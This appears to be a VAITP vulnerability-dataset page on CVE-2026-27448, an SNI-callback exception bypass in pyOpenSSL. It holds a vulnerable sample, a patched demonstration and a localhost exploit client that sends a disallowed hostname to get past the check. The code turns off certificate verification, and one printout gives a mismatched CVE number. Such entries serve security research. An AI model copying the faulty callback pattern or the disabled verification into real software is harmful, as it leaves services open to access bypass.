VAITP Dataset

← Back to the dataset

CVE-2026-27448

pyOpenSSL: Unhandled exception in servername callback leads to security bypass.

  • CVSS 1.7
  • CWE-636
  • Design Defects
  • Remote

pyOpenSSL is a Python wrapper around the OpenSSL library. Starting in version 0.14.0 and prior to version 26.0.0, if a user provided callback to `set_tlsext_servername_callback` raised an unhandled exception, this would result in a connection being accepted. If a user was relying on this callback for any security-sensitive behavior, this could allow bypassing it. Starting in version 26.0.0, unhandled exceptions now result in rejecting the connection.

CVSS base score
1.7
Published
2026-03-18
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Design Defects
Subcategory
Inadequate Error Handling
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
pyOpenSSL
Fixed by upgrading
Yes

Solution

Upgrade pyOpenSSL to version 26.0.0 or later.

Vulnerable code sample

import socket
import threading
import time
from OpenSSL import SSL, crypto

HOST = '127.0.0.1'
PORT = 4433
SERVER_NAME = b"example.com"

def vulnerable_servername_callback(connection):
    """
    This callback is intended to perform a security check.
    By raising an unhandled exception, it demonstrates the vulnerability.
    In affected versions, the connection will be accepted despite the failure.
    """
    print(f"[SERVER] TLSEXT servername callback triggered for SNI: {connection.get_servername()}")
    print("[SERVER] Simulating a failure during security validation...")
    raise ValueError("Callback failed unexpectedly!")
    # In a vulnerable version, the handshake continues and succeeds.
    # In a patched version (>=26.0.0), this exception would cause the handshake to fail.

def server_thread():
    # Generate a self-signed certificate and key in memory
    pkey = crypto.PKey()
    pkey.generate_key(crypto.TYPE_RSA, 2048)
    x509 = crypto.X509()
    x509.get_subject().CN = "localhost"
    x509.set_serial_number(1000)
    x509.gmtime_adj_notBefore(0)
    x509.gmtime_adj_notAfter(365 * 24 * 60 * 60)
    x509.set_issuer(x509.get_subject())
    x509.set_pubkey(pkey)
    x509.sign(pkey, 'sha256')

    # Set up SSL/TLS context
    context = SSL.Context(SSL.TLSv1_2_METHOD)
    context.use_privatekey(pkey)
    context.use_certificate(x509)

    # Set the vulnerable callback
    context.set_tlsext_servername_callback(vulnerable_servername_callback)

    # Set up the server socket
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind((HOST, PORT))
    server_socket.listen(1)
    print(f"[SERVER] Listening on {HOST}:{PORT}")

    conn, addr = server_socket.accept()
    print(f"[SERVER] Accepted connection from {addr}")

    ssl_conn = None
    try:
        ssl_conn = SSL.Connection(context, conn)
        ssl_conn.set_accept_state()
        # The handshake will trigger the callback. The exception will be raised
        # but the handshake will still complete successfully.
        ssl_conn.do_handshake()
        print("[SERVER] VULNERABILITY DEMONSTRATED: Handshake succeeded and connection was accepted despite callback exception.")
        data = ssl_conn.recv(1024)
        print(f"[SERVER] Received data from client: {data.decode()}")
    except SSL.Error as e:
        # This block would execute on a patched version
        print(f"[SERVER] Handshake failed as expected in patched version: {e}")
    finally:
        if ssl_conn:
            ssl_conn.shutdown()
            ssl_conn.close()
        conn.close()
        server_socket.close()
        print("[SERVER] Connection closed.")


def client_thread():
    time.sleep(1)  # Give the server a moment to start
    print(f"[CLIENT] Attempting to connect to {HOST}:{PORT}")

    # Create a client socket and SSL context
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    context = SSL.Context(SSL.TLSv1_2_METHOD)

    # In a real scenario, you'd verify the cert. For this demo, we skip it.
    def verify_cb(conn, cert, errnum, depth, ok):
        return True
    context.set_verify(SSL.VERIFY_PEER, verify_cb)

    # Wrap socket with SSL
    ssl_sock = SSL.Connection(context, sock)
    
    # Set the SNI hostname to trigger the server's callback
    ssl_sock.set_tlsext_host_name(SERVER_NAME)
    
    ssl_sock.connect((HOST, PORT))

    try:
        # Perform the handshake
        ssl_sock.do_handshake()
        print("[CLIENT] Handshake successful. Connection established.")
        ssl_sock.sendall(b"Hello, world!")
        print("[CLIENT] Data sent successfully.")
    except SSL.Error as e:
        print(f"[CLIENT] Handshake failed: {e}")
    finally:
        ssl_sock.shutdown()
        ssl_sock.close()
        print("[CLIENT] Connection closed.")


if __name__ == '__main__':
    s_thread = threading.Thread(target=server_thread)
    c_thread = threading.Thread(target=client_thread)

    s_thread.start()
    c_thread.start()

    s_thread.join()
    c_thread.join()

Patched code sample

This code demonstrates the behavior of the fixed version of pyOpenSSL (version 26.0.0 and later). In vulnerable versions, an unhandled exception in the `set_tlsext_servername_callback` would be ignored, and the connection would be accepted. This script shows the correct, secure behavior where such an exception causes the TLS handshake to be aborted, thus rejecting the connection.

```python
import socket
import threading
import time
import tempfile
import os
from OpenSSL import SSL, crypto

def generate_self_signed_cert():
    """Generates a self-signed cert and key, returning their file paths."""
    key = crypto.PKey()
    key.generate_key(crypto.TYPE_RSA, 2048)

    cert = crypto.X509()
    cert.get_subject().CN = "localhost"
    cert.set_serial_number(1000)
    cert.gmtime_adj_notBefore(0)
    cert.gmtime_adj_notAfter(10 * 365 * 24 * 60 * 60)  # 10 years
    cert.set_issuer(cert.get_subject())
    cert.set_pubkey(key)
    cert.sign(key, 'sha256')

    with tempfile.NamedTemporaryFile(delete=False, suffix=".pem", mode="wb") as cert_file:
        cert_path = cert_file.name
        cert_file.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))

    with tempfile.NamedTemporaryFile(delete=False, suffix=".pem", mode="wb") as key_file:
        key_path = key_file.name
        key_file.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, key))

    return cert_path, key_path

def sni_callback_that_raises_exception(connection):
    """
    This callback demonstrates the vulnerability scenario. It raises an
    unhandled exception during SNI processing.

    - Pre-fix (vulnerable): The exception would be ignored, and the connection
      would be accepted, bypassing any security checks intended here.
    - Post-fix (secure, v26.0.0+): The exception correctly causes the TLS
      handshake to be aborted, rejecting the connection.
    """
    print("[Server] SNI callback triggered, now raising an exception.")
    raise ValueError("Simulating a critical error in the SNI callback")

def server_logic(host, port, cert_file, key_file, server_ready_event):
    """Server that uses the problematic SNI callback."""
    context = SSL.Context(SSL.TLS_SERVER_METHOD)
    context.use_privatekey_file(key_file)
    context.use_certificate_file(cert_file)

    # Set the callback that will raise an exception. This is the core of the test.
    context.set_tlsext_servername_callback(sni_callback_that_raises_exception)

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((host, port))
    sock.listen(1)
    
    server_ready_event.set() # Signal that the server is ready
    print(f"[Server] Listening on {host}:{port}")
    
    try:
        client_sock, addr = sock.accept()
        print(f"[Server] Accepted connection from {addr}")

        ssl_conn = SSL.Connection(context, client_sock)
        
        # In the FIXED version of pyOpenSSL, this handshake will fail because
        # the exception from the SNI callback is now handled by aborting
        # the connection.
        ssl_conn.do_handshake()

        # This line should NOT be reached with a fixed pyOpenSSL version.
        print("\n[Server] !!! VULNERABLE BEHAVIOR !!! Handshake succeeded unexpectedly.")

    except SSL.Error as e:
        # This is the expected, SECURE behavior.
        print(f"\n[Server] >>> CORRECT, FIXED BEHAVIOR <<< Handshake failed as expected due to callback exception.")
        print(f"[Server] SSL.Error: {e}")
        
    finally:
        sock.close()
        print("[Server] Server shut down.")

def client_logic(host, port, ca_cert_file):
    """Client that tries to connect to the server."""
    print("[Client] Attempting to connect...")
    context = SSL.Context(SSL.TLS_CLIENT_METHOD)
    
    # Trust the self-signed certificate for this demonstration
    context.load_verify_locations(ca_cert_file)
    # The callback simply checks if the certificate is OK.
    context.set_verify(SSL.VERIFY_PEER, lambda conn, cert, err, depth, ok: ok)
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ssl_conn = SSL.Connection(context, sock)
    # Set a server name to trigger the SNI callback on the server
    ssl_conn.set_tlsext_host_name(b'example.com') 
    
    try:
        ssl_conn.connect((host, port))
        
        # This handshake should fail because the server will reject the connection.
        ssl_conn.do_handshake()

        # This line should NOT be reached.
        print("\n[Client] !!! VULNERABLE BEHAVIOR !!! Handshake succeeded.")

    except SSL.Error as e:
        # This is the expected result from the client's perspective.
        print(f"\n[Client] >>> CORRECT, FIXED BEHAVIOR <<< Handshake failed as server rejected the connection.")
        print(f"[Client] SSL.Error: {e}")
        
    finally:
        ssl_conn.close()
        print("[Client] Connection closed.")

if __name__ == "__main__":
    HOST, PORT = "127.0.0.1", 8443
    cert_path, key_path = None, None
    
    print("This script demonstrates the fix for CVE-2023-27448 in pyOpenSSL >= 26.0.0.")
    print("Expected outcome: The server and client will report a handshake failure.\n")
    
    try:
        cert_path, key_path = generate_self_signed_cert()
        
        server_ready = threading.Event()
        server_thread = threading.Thread(
            target=server_logic,
            args=(HOST, PORT, cert_path, key_path, server_ready)
        )
        server_thread.daemon = True
        server_thread.start()
        
        if not server_ready.wait(timeout=5):
            raise RuntimeError("Server did not start in time.")
        
        # Give a moment for the server to be fully listening
        time.sleep(0.1)

        client_logic(HOST, PORT, cert_path)

        server_thread.join(timeout=2)
        
    except ImportError:
        print("Error: pyOpenSSL is not installed. Please run 'pip install pyopenssl'.")
    except Exception as e:
        print(f"An unexpected error occurred: {e}")
    finally:
        if cert_path and os.path.exists(cert_path):
            os.remove(cert_path)
        if key_path and os.path.exists(key_path):
            os.remove(key_path)

Payload

import socket
import threading
import time
from OpenSSL import SSL, crypto

# This script demonstrates the exploit for CVE-2026-27448.
# It sets up a vulnerable server and a client to exploit it.
# The "payload" is the client connecting with a server_hostname that
# causes an unhandled exception in the server's SNI callback.

# --- Vulnerable Server Configuration ---
HOST = '127.0.0.1'
PORT = 4433
# The server only wants to allow connections for this specific hostname.
ALLOWED_HOSTNAME = "allowed.example.com"

def generate_self_signed_cert():
    """Generates a temporary self-signed certificate for the server."""
    pkey = crypto.PKey()
    pkey.generate_key(crypto.TYPE_RSA, 2048)

    cert = crypto.X509()
    cert.get_subject().CN = HOST
    cert.set_serial_number(1000)
    cert.gmtime_adj_notBefore(0)
    cert.gmtime_adj_notAfter(10*365*24*60*60)
    cert.set_issuer(cert.get_subject())
    cert.set_pubkey(pkey)
    cert.sign(pkey, 'sha256')
    return pkey, cert

def vulnerable_sni_callback(connection):
    """
    This is the vulnerable SNI callback.
    It is supposed to validate the hostname. However, if it receives a hostname
    it doesn't explicitly handle, it will raise a KeyError.
    In vulnerable pyOpenSSL versions (< 26.0.0), this unhandled exception
    results in the connection being ACCEPTED instead of rejected.
    """
    try:
        hostname = connection.get_servername().decode('utf-8')
        print(f"[SERVER] SNI callback received hostname: {hostname}")

        # Simulate a security check by looking up the hostname in a dict.
        # This will raise a KeyError for any hostname other than ALLOWED_HOSTNAME.
        allowed_hosts = {ALLOWED_HOSTNAME: True}
        if allowed_hosts[hostname]:
             # This part of the code is not reached in the exploit
             print(f"[SERVER] Hostname {hostname} is allowed.")
    except Exception as e:
        print(f"[SERVER] Unhandled exception in SNI callback: {type(e).__name__}: {e}")
        # In vulnerable versions, the connection continues after this.
        # In patched versions (>=26.0.0), the connection would be rejected.
        raise # Re-raising ensures the exception is "unhandled" by the callback itself

def run_vulnerable_server():
    """Sets up and runs a server using a vulnerable pyOpenSSL configuration."""
    pkey, cert = generate_self_signed_cert()

    # Set up SSL context
    ctx = SSL.Context(SSL.TLSv1_2_METHOD)
    ctx.use_privatekey(pkey)
    ctx.use_certificate(cert)

    # Set the vulnerable SNI callback
    print("[SERVER] Setting vulnerable SNI callback.")
    ctx.set_tlsext_servername_callback(vulnerable_sni_callback)

    # Set up listening socket
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind((HOST, PORT))
    server_socket.listen(5)
    print(f"[SERVER] Listening on {HOST}:{PORT}")

    # Accept one connection
    client_socket, addr = server_socket.accept()
    print(f"[SERVER] Accepted connection from {addr}")

    ssl_conn = None
    try:
        # Wrap socket with SSL context
        ssl_conn = SSL.Connection(ctx, client_socket)
        ssl_conn.set_accept_state()
        ssl_conn.do_handshake()
        # If the handshake succeeds despite the exception, the server is vulnerable.
        print("\n[SERVER] VULNERABLE: Handshake succeeded and connection was accepted!")
        print("[SERVER] Security checks in SNI callback were bypassed.")
        ssl_conn.sendall(b"HTTP/1.1 200 OK\r\n\r\nAccess Granted\r\n")

    except SSL.Error as e:
        # On a patched system, the handshake would fail here.
        print(f"\n[SERVER] PATCHED: Handshake failed as expected with SSL.Error: {e}")
    finally:
        if ssl_conn:
            ssl_conn.shutdown()
            ssl_conn.close()
        server_socket.close()

def exploit_client():
    """
    This client is the "payload". It connects to the server using a hostname that
    is *not* on the server's allow list, intentionally triggering the exception
    in the server's SNI callback to bypass the security check.
    """
    time.sleep(1) # Wait for server to be ready
    print("\n--- Starting Client ---")
    # This hostname will cause a KeyError on the server's SNI callback.
    hostname_to_exploit = "exploit.example.com"
    print(f"[CLIENT] Attempting to connect with disallowed hostname: {hostname_to_exploit}")

    # Create a standard TCP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # Wrap socket and provide the malicious server_hostname for SNI
        # This is the core of the client-side exploit payload
        ssl_sock = socket.create_connection((HOST, PORT))
        context = SSL.Context(SSL.SSLv23_METHOD)
        # In a real scenario, you wouldn't trust the cert, but for this PoC it's fine.
        context.set_verify(SSL.VERIFY_NONE)
        ssl_conn = SSL.Connection(context, ssl_sock)
        ssl_conn.set_connect_state()
        ssl_conn.set_tlsext_host_name(hostname_to_exploit.encode('utf-8'))
        ssl_conn.do_handshake()

        print("[CLIENT] PAYLOAD SUCCESSFUL: Connection established.")
        response = ssl_conn.recv(1024)
        print(f"[CLIENT] Received from server: {response.decode('utf-8').strip()}")
        ssl_conn.shutdown()

    except Exception as e:
        print(f"[CLIENT] PAYLOAD FAILED: Connection failed. Server is likely patched. Error: {e}")
    finally:
        sock.close()


if __name__ == '__main__':
    print("--- CVE-2026-27448 Exploit Demonstration ---")
    # Run the server in a background thread
    server_thread = threading.Thread(target=run_vulnerable_server)
    server_thread.daemon = True
    server_thread.start()

    # Run the client to exploit the server
    exploit_client()

Cite this entry

@misc{vaitp:cve202627448,
  title        = {{pyOpenSSL: Unhandled exception in servername callback leads to security bypass.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-27448},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27448/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::